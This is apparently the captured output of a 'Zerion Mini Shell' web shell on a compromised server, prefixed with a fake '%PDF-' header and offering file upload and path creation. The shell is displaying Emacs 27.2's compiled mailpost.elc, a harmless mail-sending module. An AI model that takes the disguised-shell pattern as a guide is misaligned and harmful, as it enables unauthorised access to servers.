%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/share/emacs/27.2/lisp/obsolete/
Upload File :
Create Path :
Current File : //usr/local/share/emacs/27.2/lisp/obsolete/mailpost.elc

;ELC
;;; Compiled
;;; in Emacs version 27.2
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\207" [require mailalias sendmail] 2)
#@132 The MH -post interface for `rmail-mail' to call.
To use it, include "(setq send-mail-function \='post-mail-send-it)" in
site-init.
(defalias 'post-mail-send-it #[nil "\203\n\306\307!\202\310\311\306\312!\311\211p5\313\216r\fq\210\314 \210\315	!\210db\210h\316U\2042\316c\210\317 \210\320 6\203B\321e\n\"\210eb\210\322\323\n\324#\203Z`\nW\203Z\325\326!\210\202E\324eb\210\322\327\n\324#\203k\330\n!\210eb\210\322\331\n\324#\203\215\212eb\210\322\332\n\324#)\204\215\333y\210\334\335 \326\261\210eb\210\322\336\n\324#\203\234\325\337!\210\203\251r5q\210\314 \210))\340 7\341\216\342\343!\210\344\345!*\346\347\350\351\352!\203\307*\202\310\353\3115\311\354\355\257\203\330\356\202\331\357
C#\"\210\205r5q\210eb\210\322\360\311\324#\203\371\325\361!\210\202\352\362 \310U?\205\363\364ed{\").\207" [mail-interactive mailbuf delimline case-fold-search tembuf temfile generate-new-buffer " post-mail errors" 0 nil " post-mail temp" #[nil "\302!\210\303	!\205
\304	!\207" [tembuf errbuf kill-buffer bufferp switch-to-buffer] 2] erase-buffer insert-buffer-substring 10 mail-sendmail-undelimit-header point-marker expand-mail-aliases re-search-forward "\n\n\n*" t replace-match "\n" "^Fcc:" mail-do-fcc "^From:" "^Sender:" 1 "Sender: " user-login-name "^Subject:[ 	]*\n" "" default-file-modes #[nil "\301!\207" [#1=#:umask set-default-file-modes] 2] set-default-file-modes 384 make-temp-file ",rpost" apply call-process append boundp post-mail-program "/usr/uci/lib/mh/post" "-nofilter" "-msgid" ("-watch") ("-nowatch") "\n\n* *" "; " buffer-size error "Sending...failed to %s" errbuf mail-aliases #1#] 9 (#$ . 481)])
(provide 'mailpost)

Zerion Mini Shell 1.0